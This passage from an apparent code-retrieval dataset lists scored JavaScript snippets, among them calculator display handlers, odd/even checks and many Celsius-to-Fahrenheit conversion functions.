{\r\n displayResult.textContent = displayResult.textContent.replace(\r\n /(×|÷|\\+|-|%)$/,\r\n target.textContent\r\n );\r\n } else {\r\n displayResult.textContent += target.textContent;\r\n }\r\n //show live result\r\n showLiveResult(displayResult.textContent);\r\n } //if users entered button was a number, it will be added to the last of the result string\r\n } else if (\r\n target.classList.contains(\"number\") &&\r\n displayResult.textContent != \"Error\"\r\n ) {\r\n if (target.textContent == \"+/-\") {\r\n //let user use (- only once in numbers before an operator\r\n if (check.indexOf(\"(-\") != -1) {\r\n } else {\r\n displayResult.textContent += \"(-\";\r\n check += \"(-\";\r\n }\r\n //if users button wasnt (- , the number will be added to the result\r\n } else {\r\n displayResult.textContent += target.textContent;\r\n check += target.textContent;\r\n showLiveResult(displayResult.textContent);\r\n } //user can use . in numbers before operator once\r\n } else if (\r\n target.classList.contains(\"dot\") &&\r\n displayResult.textContent != \"Error\"\r\n ) {\r\n if (check.indexOf(\".\") != -1) {\r\n } else {\r\n displayResult.textContent += \".\";\r\n check += \".\";\r\n }\r\n }\r\n}", "title": "" }, { "docid": "1dffec0026e6124bde41f0b4296185e3", "score": "0.565769", "text": "function NotesCalcultation(money)\n {\n \n hundreds=(money/100);\n fifty=((money%100)/50);\n tens=(((money%100)%50)/10);\n document.write(\"The no of hundreds in the money is\"+hundreds);\n document.write(\"The no of fifty note in the money is\"+fifty);\n document.write(\"The no of tens notes in the money is\"+tens);\n }", "title": "" }, { "docid": "6a84ac261f70342c72c49325058cb55d", "score": "0.56517303", "text": "function oddOrEven(num) {\n if ( num % 2 == 0) {\n\tconsole.log('Even');\n} else {\n\tconsole.log('Odd');\n}\n}", "title": "" }, { "docid": "7e80117e6eddb19f93956d8c5049685d", "score": "0.56437445", "text": "function dot() {\n if (!document.getElementById(\"display\").innerHTML.includes(\".\")) { // if dot not include in display yet, then add to number\n display = false;\n document.getElementById(\"display\").innerHTML += \".\";\n document.getElementById(\"calculation-display\").innerText += \".\";\n }\n}", "title": "" }, { "docid": "345c73f0740feaf31508026dd81cec76", "score": "0.5633617", "text": "function printOddNumbers(){\n //function to print odd numbers between 50 and 100\n for (numberone = 50; numberone <= 100; numberone++){\n // for loop containing variable numberone with a declaration, condition and increment statements\n if (numberone%2 != 0){\n // if statement wit a condition for outputting odd numbers\n console.log(numberone);\n // printing the odd numbers to the console\n }\n }\n }", "title": "" }, { "docid": "db4b8f44b6fff7f28779987c9d86d73e", "score": "0.56307006", "text": "function _showNumber(flipper, n) {\n\t\tn = n.toString();\n\t\tif(n < 10) n = '000'+n;\n\t\telse if(n < 100 && n > 9) n = '00'+n;\n\t\telse if(n < 1000 && n > 99) n = '0'+n;\n\n\t\tvar selectors = ['thousands', 'hundreds', 'tens', 'ones'];\n\t\tfor(var i = 0; i < selectors.length; i++) {\n\t\t\tvar sel = '#'+ flipper +' .'+ selectors[i];\n\n\t\t\tvar curVal = $(sel).children('.number').html();\n\t\t\tif(curVal == n[i]) continue;\n\n\t\t\t$(sel).children('.number').css({'transition':'0.2s','-webkit-transform':'rotateX(' + 360*n + 'deg)'})\n\t\t\t$(sel).children('.number').delay(2000).empty().append((n[i]));\n\t\t}\n\t}", "title": "" }, { "docid": "8f2ad6d75ab1f81b3f1ebc8f6bae6ee6", "score": "0.56286126", "text": "function showScore() {\n if (score > 9) {\n tens = \"\";\n }\n if (score > 99) {\n hundreds = \"\";\n }\n $(\".score\").html(hundreds + tens + score);\n}", "title": "" }, { "docid": "41f56ea6ea8b9633fa9a40320fc2df28", "score": "0.56268567", "text": "function showCadrsNum() {\n\n\n}", "title": "" }, { "docid": "462196a18c0f55753dcb4e98e162c347", "score": "0.5626219", "text": "function evenNumber(number,callback){ \n if(number%2===0)\n result=\"even\";\n else\n result=\"odd\";\n callback(); \n }", "title": "" }, { "docid": "d5384b2dd6c0714c774e0d3a899c43d0", "score": "0.56243914", "text": "function printOutput(num) {\n if(num===\"\") {\n document.getElementById(\"output-value\").innerText\n } else {\n document.getElementById(\"output-value\").innerText = getFormattedNumber(num);\n }\n}", "title": "" }, { "docid": "0babc012eb10ff088a8513656bd821eb", "score": "0.5619226", "text": "function calcNumbers (num) {\n if (calcState.numFlag) {\n output.innerHTML = num;\n calcState.numFlag = false;\n return;\n }\n \n if (output.innerHTML === '0' && num === '.') {\n output.innerHTML = output.innerHTML + num;\n return;\n }\n \n if (output.innerHTML === '0') {\n output.innerHTML = num;\n return;\n }\n output.innerHTML = output.innerHTML + num;\n }", "title": "" }, { "docid": "b135c0b8c197c142fc4d08123ef957c2", "score": "0.56181484", "text": "function evenMultiplyTable() {\n for (let i = 0; i < 10; i++ ) {\n \tlet lines = `${i} `;\n \tfor (let j = 1; j < 10; j++) {\n \t\tif (i === 0) {\n \t\t\tlines += `${j} `;\n \t\t} else if ((i * j)%2 === 0) {\n \t\t\tlines += \"+ \";\n \t\t} else {\n \t\t\tlines += \"- \";\n \t\t}\n \t}\n \tconsole.log(lines);\n \t}\n}", "title": "" }, { "docid": "9b6b6ba3f422792477b479d80288b6e5", "score": "0.5615201", "text": "function updateDisplay(){\n currentElement.innerText = convertNumber(currentValue);\n\n if(operation != null) previousElement.innerText = `${convertNumber(previousValue)} ${operation}`; \n}", "title": "" }, { "docid": "e09aa1512a00ca1a4702634dcc49c0b8", "score": "0.56136674", "text": "function printNumber()\n{\n console.log();\n console.log(\"Number of sweet: \" + sweetCount);\n console.log(\"Number of salty: \" + saltyCount);\n console.log(\"Number of sweet'nSalty: \" + sweetSaltyCount);\n}", "title": "" }, { "docid": "230ef3ce213a0795226dbf4f3ebd586f", "score": "0.56100607", "text": "function checkOdd (num) {\r\nif (num % 2 === 0) {\r\n console.log(\"This is an even number\"); \r\n\r\n} else {\r\n \t\tconsole.log(\"This is an odd number\");\r\n \t}\r\n }", "title": "" }, { "docid": "9c89370238a00ee0be1e6fc8a3c47698", "score": "0.5608983", "text": "function Li(e){return e%100==11||e%10!=1}", "title": "" }, { "docid": "4edda25179b8603cd5a206977e62b123", "score": "0.5604102", "text": "function myFunction( num1){\n if (num1 % 2 == 0 ){\n console.log(\" yes! its an even\")\n }\n else {\n console.log(\"its an odd\")\n }\n }", "title": "" }, { "docid": "8436cea102edb12139d5aeb573b86883", "score": "0.55942374", "text": "updateDisplay() {\n this.currentText.innerText = this.formatNumber(this.currentTextValue);\n if (this.operation !== undefined) {\n this.previousText.innerText = `${this.previousTextValue} ${this.operation} `;\n } else {\n this.previousText.innerText = \"\";\n }\n }", "title": "" }, { "docid": "167f285912d8ad92c682b82ff701643f", "score": "0.55912817", "text": "function upRight(pHeight, pColorEven, pColorOdd, pSymbol){\nvar rLine =\"\";\nfor (i=0;i<pHeight;i++){\nrLine +=\"<p>\";\n\nfor(j=0;j<=i;j++){\n\n\nif (j%2) \nrLine +=\"<span style='color:\" + pColorEven + \";'>\" + pSymbol +\"</span>\";\nelse\nrLine +=\"<span style='color:\" + pColorOdd + \";'>\" + pSymbol +\"</span>\";\n\n}\nrLine +=\"</p>\";\n\n}\n\ndocument.getElementById(\"upRight\").innerHTML = rLine;\n}", "title": "" }, { "docid": "879a48eaae14f89085c493aa571ddc39", "score": "0.55785614", "text": "function calc2(num) {\n return (num%2 === 0)? \"even\" : \"odd\";\n}", "title": "" }, { "docid": "ecf7638131a6b339ebfe241697e8a656", "score": "0.55728024", "text": "function oddEven(numb) {\n if(numb % 2 == 0) {\n return \"Even\"\n }\n else {\n return \"Odd\"\n }\n}", "title": "" }, { "docid": "567181fa9f49e16b121ea7d9ec5d0074", "score": "0.55694306", "text": "function logIfEven(num) {\n if (num % 2 === 0) {\n console.log(`${num} is an even number!`)\n }\n}", "title": "" }, { "docid": "d9dc87e078f74c7162b2aa618838a976", "score": "0.55683345", "text": "function ganjil(){\n var angkaGanjil;\n var display = \"\";\n angkaGanjil = document.getElementById(\"checker4\").value;\n for(var i = 1; i <= angkaGanjil; i++){\n if((i%2)!==0){\n display += i + \". \" + \"Adalah angka ganjil<br>\";\n i++;\n }\n }\n document.getElementById(\"print4\").innerHTML = display;\n}", "title": "" }, { "docid": "4bfe615949fc2947756a6873550cc1e5", "score": "0.55635285", "text": "function showAns(show){\n if (display.innerText === '0'){\n ans.textContent = 'Ans = 0';\n } \n else if (show === 'first'){\n ans.textContent = `${calculator.numA} ${calculator.operator} ${calculator.numB} =`;\n }\n else if (show === 'second'){\n ans.textContent = `Ans = ${calculator.result}`;\n }\n}", "title": "" }, { "docid": "1d83abecb296746838b5ffb716c94dc5", "score": "0.556135", "text": "function printNum() {\n\n var nStr = read(\"num\");\n n = parseInt(nStr) + 1;\n var result = document.getElementById(\"result\");\n result.innerHTML = \"\";\n\n for (var i = 1; i < n; i++) {\n if (((i % 3) == 0) && ((i % 7) == 0)) {\n result.innerHTML += i + \" % 3 and 7 = 0 <br />\";\n }\n }\n}", "title": "" }, { "docid": "47a873836a13ae053995550047c77058", "score": "0.55572677", "text": "function isEven(number) {\n if (number %2) {\n console.log(\"This number is Odd\");\n }\n else {\n console.log(\"This number is Even\");\n }\n\n}", "title": "" }, { "docid": "84d8ad2567c284655b19fc2f9553a9aa", "score": "0.5557041", "text": "function display() {\n\n\t$(\"#random\").html(targetNumber);\n\t$(\"#score\").html(score);\n\t$(\"#wins\").html(wins);\n\t$(\"#losses\").html(losses);\n\t// $(\"#result\").html(\"&nbsp;\");\n\n}", "title": "" }, { "docid": "0eadf3194c5f388d9b294c89b25964a9", "score": "0.5555192", "text": "function isEvenOrOdd(num) {\n if (num % 2 == 0) {\n return \"Even\";\n } else {\n return \"Odd\";\n }\n }", "title": "" }, { "docid": "8ea3fca63f81ba3ad4fb96caf5c120f1", "score": "0.55477923", "text": "function numDisplay (name, value) {\n var str = \"The \" + name + \" statement equals \" + value + \".<br>\";\n numEle.innerHTML += str;\n}", "title": "" }, { "docid": "692583abc824627ff99927480ceba0ec", "score": "0.55463684", "text": "function tagNumberOne(number){\n if ( currentOperationScreen.textContent === '0' || clearDisplay == true) {\n clearScreen();\n } \n currentOperationScreen.textContent += number; \n}", "title": "" }, { "docid": "08cbce89810adbaf9a59fc04e65521cc", "score": "0.554475", "text": "function evenOdd(number){\n if( number % 2 === 0){\n return \"even\";\n } else {\n return \"odd\";\n } \n }", "title": "" }, { "docid": "d7663b0c86aeecc268cdfb882184ecae", "score": "0.5540346", "text": "function downLeft(pHeight, pColorEven, pColorOdd, pSymbol){\nvar rLine =\"\";\nfor (i=pHeight;i > 0;i--){\nrLine +=\"<p>\";\n \n for (x=1;x<=pHeight-i;x++) {\n\n rLine +=\"<span class='space'>\" + pSymbol +\"</span>\";\n}\n \nfor(j=0;j<i;j++){\n\nif (j%2) \nrLine +=\"<span style='color:\" + pColorEven + \";'>\" + pSymbol +\"</span>\";\nelse\nrLine +=\"<span style='color:\" + pColorOdd + \";'>\" + pSymbol +\"</span>\";\n\n}\nrLine +=\"</p>\";\n\n}\n\ndocument.getElementById(\"downLeft\").innerHTML = rLine;\n}", "title": "" }, { "docid": "1aad1b552042de42b8a2620b4f4b1870", "score": "0.5539954", "text": "function printOutput(num) {\r\n if (num == \"\") {\r\n document.querySelector(\".output-value\").innerHTML = num;\r\n } else {\r\n document.querySelector(\".output-value\").innerHTML = getFormattedNumber(num);\r\n }\r\n}", "title": "" }, { "docid": "5bcb77d028acc4801b08543609056bf0", "score": "0.55368125", "text": "function isOdd(num){\r\n if(num % 2 == 1){\r\n return \"this number is Odd\";\r\n }else{\r\n return \"this number is Even\";\r\n }\r\n}", "title": "" }, { "docid": "9efff93a3336e977d785c15dc6fd7769", "score": "0.5536482", "text": "function NzDisplayedMark() { }", "title": "" }, { "docid": "6445dd9594460ffbcd3b8c2056ee5d9a", "score": "0.5528829", "text": "function numberInformationS() {\n var sourceOne = regABform.assetNumbers;\n var sourceTwo = regABform2.assetNumbers;\n var out = formatAllData(analizeData(sourceOne, sourceTwo), sourceOne, sourceTwo);\n var element = \"assetNumbersS\";\n return hideAndSeek(element, out);\n}", "title": "" }, { "docid": "64b2059ed8340b6604f8e8c77401afe0", "score": "0.55239004", "text": "function NumDispaly () {\n\tvar num = [];\n\tvar strNum = '';\n\t//Manipulate the array\n\tfor (var i = 1; i <= 100; i++) {\n\t\t//Logic for fizz, bizz and fizzbizz\n\t\tif (i%3 == 0 || i%5 == 0) \n\t\t{\n\t\t\tif (i%3 == 0) {\n\t\t\t\tstrNum += \"Fizz\";\n\t\t\t}\n\t\t\tif (i%5 == 0) {\n\t\t\t\tstrNum += \"Bizz\";\n\t\t\t}\n\t\t\tnum [i-1] = strNum;\n\t\t\tstrNum = '';\n\t\t}\n\t\telse {\n\t\t\tnum[i-1]= i;\n\t\t}\n\t}\n\t\n\tdocument.getElementById('numId').innerHTML = num.join('<br>');\n}", "title": "" }, { "docid": "86e450e67df7d1733503c2527a35903d", "score": "0.5522038", "text": "function appendNumber(element){\n \n if(display.textContent === '0')\n {\n display.textContent = element.textContent;\n }\n else if(element.textContent==='.'){\n if(!display.textContent.includes('.')){\n display.textContent += element.textContent\n }\n }\n else\n {\n display.textContent +=element.textContent;\n }\n}", "title": "" }, { "docid": "557d5cf601a63534a54330bfc3bc7bfb", "score": "0.55151504", "text": "function drawBread() {breadCountText.innerHTML = numeral(bread).format('0.00a');}", "title": "" }, { "docid": "2077a89b3e069aca692aaf3daefb1637", "score": "0.55135775", "text": "function updateDisplay () {\n display.textContent = currentNum;\n}", "title": "" } ]
0fa6b5ed531b18375ebe9791b13ea8e3
6. Create a function called celsiusToFahrenheit that takes a Celsius temperature as an argument and returns the temperature in Fahrenheit.
[ { "docid": "d7aa0002c20b71af0cdf499f09cafc3a", "score": "0.8912929", "text": "function celsiusToFahrenheit(celsiusTemp){\n let fahrenheitTemp = (celsiusTemp * (9/5)) + 32\n return fahrenheitTemp\n}", "title": "" } ]
[ { "docid": "d5820c4208f60844ba21a06ee1dd6795", "score": "0.87554634", "text": "function celsiusToFahrenheit(temperature){\r\n return (temperature * 9/5) + 32;\r\n}", "title": "" }, { "docid": "d5820c4208f60844ba21a06ee1dd6795", "score": "0.87554634", "text": "function celsiusToFahrenheit(temperature){\r\n return (temperature * 9/5) + 32;\r\n}", "title": "" }, { "docid": "506b9636a3ce76deca9c68b8bfd33b17", "score": "0.87339234", "text": "function celsiusToFahrenheit(temperature){\n return (temperature * 9/5) + 32;\n}", "title": "" }, { "docid": "506b9636a3ce76deca9c68b8bfd33b17", "score": "0.87339234", "text": "function celsiusToFahrenheit(temperature){\n return (temperature * 9/5) + 32;\n}", "title": "" }, { "docid": "dbff9bb9508e5e711bf92b0e32cce614", "score": "0.86822003", "text": "function celsiusToFahrenheit(temperature) {\r\n return (temperature * 9) / 5 + 32;\r\n}", "title": "" }, { "docid": "ea773277f9ecfa9206dae2438de64d83", "score": "0.8679806", "text": "function celsiusToFahrenheit(temperature){\r\n return (temperature * 9/5) + 32;\r\n }", "title": "" }, { "docid": "aa66f997941b1e8f9d27fc6a0ba15371", "score": "0.8678399", "text": "function celsiusToFahrenheit(temperature){\r\n return (temperature * 9/5) + 32;\r\n }", "title": "" }, { "docid": "af77536de22ccdb3abdd922c1cd72c53", "score": "0.8659381", "text": "function celsiusToFahrenheit(temperature) {\r\n return (temperature * 9 / 5) + 32;\r\n}", "title": "" }, { "docid": "54097f0dc5bb73db78b921f34e437c0d", "score": "0.86544317", "text": "function celsiusToFahrenhiet(celsius){\n var fahrenheit = (celsius * 9/5 + 32);\n return fahrenheit;\n}", "title": "" }, { "docid": "88af2cb928cba4ce97fc08050907e2aa", "score": "0.8641134", "text": "function celsiusToFahrenheit(temperature) {\n return (temperature * 9) / 5 + 32;\n}", "title": "" }, { "docid": "bfb1e188f339dbd7a2b536b2c3e765a0", "score": "0.8597216", "text": "function celsiusToFahrenheit (Celsius) {\n let Fahrenheit = (Celsius * 9 / 5) + 32\n return Fahrenheit\n}", "title": "" }, { "docid": "4ae162ed9efbccdab7571742b7d4da03", "score": "0.8542691", "text": "function toCelsius(fahrenheit) { //Declares a function named to Celsius\n return (5/9) * (fahrenheit-32); /* returns a value converted from fahrenheit to \n Celsius */\n \n}", "title": "" }, { "docid": "d6fbca648d4cb9cb9e3428b77e147c33", "score": "0.8496622", "text": "function celsiusToFahrenheit(celsius) {\n let fahrenheit = (celsius * (9/5) + 32);\n\treturn fahrenheit;\n}", "title": "" }, { "docid": "d19f9461f0c8ac62e61a473fa04f4cff", "score": "0.8494664", "text": "function celsiusToFahrenheit (celsius) {\nif (typeof celsius !== 'number') {\n throw {\n 'name': 'TypeError',\n 'message': 'Function requires ' +\n 'a single number argument'};\n }\n return ((celsius * 9) / 5) + 32;\n}", "title": "" }, { "docid": "d961961aa629f06d2031ef0a65b0334b", "score": "0.8424668", "text": "function celsiusToFahrenheit(C) {\n F = (9 * C / 5) + 32;\n return F;\n}", "title": "" }, { "docid": "a62e9c0ffc23e1efa69a515d68692247", "score": "0.8406804", "text": "function CelciusToFahren(temp) {\n return 1.8 * temp + 32;\n}", "title": "" }, { "docid": "3ea72e38a85071cf7bc83c002b8af61e", "score": "0.84052116", "text": "function fahrenheitToCelsius (Fahrenheit) {\n let Celsius = (Fahrenheit - 32) * 5 / 9\n return Celsius\n}", "title": "" }, { "docid": "0a750975dc2f604c70df08829729d0e5", "score": "0.8319144", "text": "function convertToFahrenheit(celsius) {\n return celsius * (9.0 / 5.0) + 32.0;\n}", "title": "" }, { "docid": "7a492cf8fb2112a63c7bc813244fd371", "score": "0.831871", "text": "function celsiusToFarenheit(celsius){\r\n return (celsius*9/5)+32;\r\n}", "title": "" }, { "docid": "9e4bfca96f56410c299343231f4afeb5", "score": "0.83079726", "text": "function toFahrenheit(celcius) {\n\tcelcius = parseFloat(celcius * (9/5) + 32).toFixed(2);\n\treturn celcius;\n}", "title": "" }, { "docid": "bd813e2d0f2d1ed691afdfdbd628af8f", "score": "0.82891685", "text": "function celsiusToFahrenheit(celsius) {\n let fahrenheitValue = celsius / 5 * 9 + 32;\n return fahrenheitValue;\n}", "title": "" }, { "docid": "f847ae7021050190d4595e9bc8de9499", "score": "0.82768494", "text": "function fahrenheitToCelsius(fahrenheitTemp) \n{\n let celsiusTemp = (fahrenheitTemp - 32) * 5 / 9\n return celsiusTemp\n}", "title": "" }, { "docid": "ce26209c2038481d6e4c3631151e2cab", "score": "0.8258631", "text": "function convertToF(celsius) {\n var fahrenheit;\n\n fahrenheit = celsius * (9/5) + 32;\n return fahrenheit;\n}", "title": "" }, { "docid": "6d0b5a4f9457d83cb3941563396ba272", "score": "0.82447547", "text": "function celsiusToFahrenheit(celsius) {\n return `${celsius}°C is ${(celsius * 9) / 5 + 32}°F.`;\n}", "title": "" }, { "docid": "25ec41f0621f6619a737d115235be6b7", "score": "0.82376164", "text": "function convertToFarenheit() {\n var tempCelcius = 100 * (temperature/1000) - 50;\n return Math.round((tempCelcius * (9/5) + 32) * 100) / 100;\n}", "title": "" }, { "docid": "6666d000653409eb0587b722d3be2514", "score": "0.8211486", "text": "function convertToF(celsius) {\n var fahrenheit;\n // Only change code below this line\n fahrenheit = celsius * 9/5 + 32;\n \n // Only change code above this line\n return fahrenheit;\n }", "title": "" }, { "docid": "4acc0be0dd456d847f8aae92ec19a1e2", "score": "0.82045597", "text": "function convertToFahrenheit(celsius){\n return (celsius * 9/5 + 32)\n}", "title": "" }, { "docid": "a108cbec9e14e90a6754baba8a4dd7b5", "score": "0.8173634", "text": "function fahrenheitToCelsius(fahrenheit) {\n let celsius = (fahrenheit - 32) * (5/9);\n\treturn celsius;\n}", "title": "" }, { "docid": "c4c55ec7864553ec4ea4564c644fe403", "score": "0.8171929", "text": "function toCelsius (fahrenheit) {\n// (F-32)*5/9\nvar C=(fahrenheit-32)*(5/9);\nreturn C;\n}", "title": "" }, { "docid": "dcf27b09f07f00ddb7c22a793dcd5001", "score": "0.8157812", "text": "function convertToF(celsius) {\n let fahrenheit = celsius * 9/5 + 32;\n return fahrenheit;\n}", "title": "" }, { "docid": "b04eff937c66bc037024f62dfe7c6ffa", "score": "0.8155043", "text": "function convertToF(celsius) {\n let fahrenheit = celsius * (9/5) + 32\n return fahrenheit;\n}", "title": "" }, { "docid": "eb54897f5908e60916798d1d3a6ba08a", "score": "0.81417066", "text": "function celsiusToFahrenheit(temperature) {\n var celsius = temperature;\n var message = celsius+ '°C is '+((celsius * 1.8) + 32)+'°F.';\n console.log(message);\n}", "title": "" }, { "docid": "b14ad3d24142f2a49206126575078a5e", "score": "0.8129078", "text": "function convertCelsiusToFahrenheit (c){\n return (c*1.8)+32\n}", "title": "" }, { "docid": "6a9012a0277925dc428d3765cfa86cfe", "score": "0.8070564", "text": "function calculateCelsiusToFahrenheit(celsius){\n var celsiusToFahrenheit = celsius/5*9+32;\n return celsius + \" grade Celsius reprezinta \" + celsiusToFahrenheit + \" grade Fahrenheit\"\n //return celsiusToFahrenheit;\n }", "title": "" }, { "docid": "0f4fcc1218f053b0f35674ae50e6ea3e", "score": "0.80647653", "text": "function celsiusToFahrenheit(value) \n{\n return (value * (9/5)) + 32;\n}", "title": "" }, { "docid": "304fc8dd96937031ffd2eec98044bd06", "score": "0.80601823", "text": "function celsiusToFahrenheit(x){\n return (x*9/5)+32\n}", "title": "" }, { "docid": "8e328d9cc283eae4dd5d240e7e997e2f", "score": "0.8052588", "text": "function convertToF(celsius) {\n let fahrenheit;\n fahrenheit=celsius*(9/5)+32;\n return fahrenheit;\n}", "title": "" }, { "docid": "514ba8050daf5285b28d7a218f0ccbe7", "score": "0.8050556", "text": "function convertCelciusToFahrenheit1(c) {\n return c * 1.8 + 32;\n}", "title": "" }, { "docid": "0056f491c91b793c17dda095e83c6cd3", "score": "0.8041551", "text": "function toCelsius(fahrenheit) {\r\n var C = (5 / 9) * (fahrenheit - 32);\r\n return C;\r\n}", "title": "" }, { "docid": "8409290c600cc364dc87d5675079311d", "score": "0.803821", "text": "function celsiusToFahrenheit(c) {\r\n return ((c * 9) / 5 + 32).toFixed(2);\r\n}", "title": "" }, { "docid": "564ddaa9ca3294d6a7f5cb50cddc6d80", "score": "0.8033175", "text": "function convertToF(celsius) {\n let fahrenheit = (celsius * 9/5) + 32;\n return fahrenheit;\n}", "title": "" }, { "docid": "fcea8d764ecb06bae7e9468f4b3db539", "score": "0.8023342", "text": "function toFahrenheit(celsius) {\n var Fahrenheit = celsius * (9 / 5) + 32\n return Math.ceil(Fahrenheit);\n}", "title": "" }, { "docid": "dbbc584d3b7d0f6b9b39f782ca721068", "score": "0.80146796", "text": "function convertToF(celsius) {\n let fahrenheit;\n fahrenheit = ((celsius*9)/5)+32;\n return fahrenheit;\n }", "title": "" }, { "docid": "e7a3550dc5b4406ee3fda4328f6c148b", "score": "0.79889846", "text": "function convertToF(celsius) {\n let fahrenheit = (celsius * (9/5))+32;\n return fahrenheit;\n }", "title": "" }, { "docid": "faf728633f7fdfa15457e1d3759a1eed", "score": "0.7973848", "text": "function fahrenheitToCelsius(fahrenheit) {\n if (typeof fahrenheit !== 'number') {\n throw {\n 'name': 'TypeError',\n 'message': 'Function requires ' +\n ' a single number argument'};\n }\n return ( fahrenheit - 32 ) * 5/9;\n}", "title": "" }, { "docid": "2541027124c8bbdb43569cf396a236d1", "score": "0.7969115", "text": "function convertToF(celsius) {\n let fahrenheit = (celsius * 9/5) + 32;\n return fahrenheit;\n }", "title": "" }, { "docid": "43069a8c7a61c5ee84ba280026af13f3", "score": "0.7957548", "text": "function celsiusToF(temp) {\n return (temp * (9 / 5)) + 32;\n}", "title": "" }, { "docid": "4c7e69e4445365388f7fe63df507df30", "score": "0.7952782", "text": "function convertToF(celsius) {\n let fahrenheit;\n return fahrenheit;\n }", "title": "" }, { "docid": "5247c01f693267dbbea183c3c1638553", "score": "0.7938513", "text": "function convertToC(fahrenheit) {\n var fTempVal = fahrenheit;\n var cTempVal = (fTempVal - 32) * (5 / 9);\n var celcius = Math.round(cTempVal * 10) / 10;\n return celcius;\n }", "title": "" }, { "docid": "a739132e2ffc8d120012b04aad4b5295", "score": "0.7925084", "text": "function toCelcius (fahrenheit) {\n return (5 / 9) * (fahrenheit - 32);\n}", "title": "" }, { "docid": "5a3701b09a3134ee041cdeadce19a0a2", "score": "0.7923555", "text": "function convertToCelsius(fahrenheit) {\n var f = fahrenheit\n var cel = (f - 32) * 5 / 9;\n return cel;\n}", "title": "" }, { "docid": "01c2adb9bef46a7d41cc91728b7f7446", "score": "0.7918017", "text": "_toFahrenheit( tempCelcius, applyF) {\n let retVal = '';\n if ( tempCelcius) {\n let raw = ( tempCelcius * 9 / 5) + 32;\n retVal = applyF \n ? Math.round( raw) + 'F'\n : Math.round( raw);\n }\n return retVal;\n }", "title": "" }, { "docid": "b1ae81595fba42ff0b751c0bb7efb780", "score": "0.7908082", "text": "function convertToF(celsius) {\n\t return fahrenheit = (celsius * 9/5)+32;\n\t}", "title": "" }, { "docid": "7ebf8b4e12b01adac8a895df60e1d7ff", "score": "0.78881896", "text": "function celciusToFahrenheitAndKelvin() {\n const cTemp = parseFloat(celciusInput.value);\n const fTemp = (cTemp * (9 / 5)) + 32;\n const kTemp = cTemp + 273.15;\n fahrenheitInput.value = roundNum(fTemp);\n kelvinInput.value = roundNum(kTemp);\n}", "title": "" }, { "docid": "054ea8344e9401083d5d888e609064f5", "score": "0.7887058", "text": "function centigradeToFahrenheit(temp) {\n var fahrTemp = 1;\n fahrTemp = temp * 1.8 + 32;\n return fahrTemp;\n}", "title": "" }, { "docid": "c0c0afd21e8a5a8acc78e904c89e248c", "score": "0.7851949", "text": "function toFahrenheit(celcius) {\n var constant = 32;\n\n return Math.round(celcius * 1.8 + constant);\n}", "title": "" }, { "docid": "347888ad6634f820816b9c8bd76d8922", "score": "0.7830222", "text": "function toFahrenheit(OGtemp){\n return ((OGtemp - 273.15) * (9/5) + 32).toFixed(2);\n}", "title": "" }, { "docid": "81e09841a94f5074f20473259b01b994", "score": "0.7823838", "text": "function celsiusToFahrenheit(cDegrees){\n var fahrenheit = (9/5*cDegrees) + 32;\n return fahrenheit;\n}", "title": "" }, { "docid": "233146640841c9e54e1750094dd25ff7", "score": "0.77868927", "text": "function convert_CtoF(tempC){\n tempF=tempC*1.8 +32;\n console.log(`\"You entered\" ${tempC} \"Celsius. That converts to\" ${tempF} \"Fahrenheit\"`)\n\n}", "title": "" }, { "docid": "cb9b6556517b862f41a2d9e69b56c246", "score": "0.7747364", "text": "function toFahrenheit(temperature_Kelvin) {\n\n var temperature = ((9/5)* temperature_Kelvin) - 459.67;\n return Math.round(temperature);\n\n}", "title": "" }, { "docid": "3fbf88ccb29fe4c2a8d9a24aa6c25d0b", "score": "0.77437097", "text": "function convertFahrenheitToCelsius(fahrenheit) {\n return (fahrenheit - 32)*5/9\n}", "title": "" }, { "docid": "d20b80fed0cedcade51876c74b1f1078", "score": "0.77421296", "text": "function celsiusToFahrenheit(val){\n return ( val * 9/5) + 32;\n}", "title": "" }, { "docid": "9522bb36227e0d54e8e35a15645106e0", "score": "0.7740076", "text": "function convert_FtoC(tempF){\n tempC=(tempF-32)/1.8;\n console.log(`\"You entered\" ${tempF} \"Fahrenheit. That converts to\" ${tempC} \"Celsius\"`)\n}", "title": "" }, { "docid": "de5041280fcc2e8657a40ff70b33e829", "score": "0.7739402", "text": "function convertCelToFah (temperature) {\n return Math.floor((temperature * 9 / 5) + 32);\n}", "title": "" }, { "docid": "f4b8d470cc0797a7fc7ab3eccbc2cdd6", "score": "0.7732111", "text": "function fahrenheit(temp2) {\n degC = (temp2 - 32) * 5/9;\n console.log(\"Temperature in Celcius: \"+degC);\n}", "title": "" }, { "docid": "e09c1665fd960890f0d9dec2828deab5", "score": "0.77267855", "text": "function convertToCelcius(fahrenheit) {\n let celsius = (fahrenheit - 32) * (5 / 9);\n return celsius;\n }", "title": "" }, { "docid": "e23ce583e1dda55ce6578834b95edf25", "score": "0.77027315", "text": "function fahrenheitToCelsius(temperature) {\n var fahrenheit = temperature;\n var message = fahrenheit+'°F is '+((fahrenheit - 32) * .5556)+'°C.'\n console.log(message);\n}", "title": "" }, { "docid": "a93be31f0d50303a8f93a9c3c1aabd49", "score": "0.77004236", "text": "function celsiusToFahrenheit(cDegrees) {\r\n const celToFah = (((9 / 5) * cDegrees) + 32);\r\n // console.log(cDegrees + \" degrees Celsius is \" + celToFah + \" degrees Fahrenheit\");\r\n return celToFah;\r\n}", "title": "" }, { "docid": "d94011a676e05508eaa4066cf28d33ea", "score": "0.7693563", "text": "function celsiusToFahrenheit(input) {\r\n let celsius = Number(input.shift());\r\n let fahrenheit = ((celsius * 9 / 5) + 32).toFixed(2);\r\n console.log(fahrenheit); \r\n}", "title": "" }, { "docid": "d2ad1823de0c3f27a8d670118caa4841", "score": "0.7674045", "text": "function cToF(celsius) \r\n{\r\n var cTemp = celsius;\r\n var cToFahr = cTemp * 9 / 5 + 32;\r\n var message = cTemp+'\\xB0C is ' + cToFahr + ' \\xB0F.';\r\n console.log(message);\r\n}", "title": "" }, { "docid": "7d6389b7b7dbcac9c9ff69b33593663f", "score": "0.7665532", "text": "function convertToF(c) {\n let fahrenheit = c * (9 / 5) + 32;\n return fahrenheit;\n }", "title": "" }, { "docid": "4ecd58981aec09cbed4c2111aeea2d00", "score": "0.766274", "text": "function calculateCelsiusToFarenheit(celsiusValue) {\n return celsiusValue + \" grade Celsius reprezinta \" + (celsiusValue/5 * 9 + 32) +\" grade Farenheit\";\n }", "title": "" }, { "docid": "d67707cab3a2be01527ec86cb0cdbae3", "score": "0.76594925", "text": "kelvinToFahrenheit(temp) {\n const celsius = temp - 273;\n let fahrenheit = Math.floor(celsius * (9 / 5) + 32);\n return fahrenheit.toFixed(2) + ' ℉';\n }", "title": "" }, { "docid": "4f41c5331cb83854f8965c58a8ac4f26", "score": 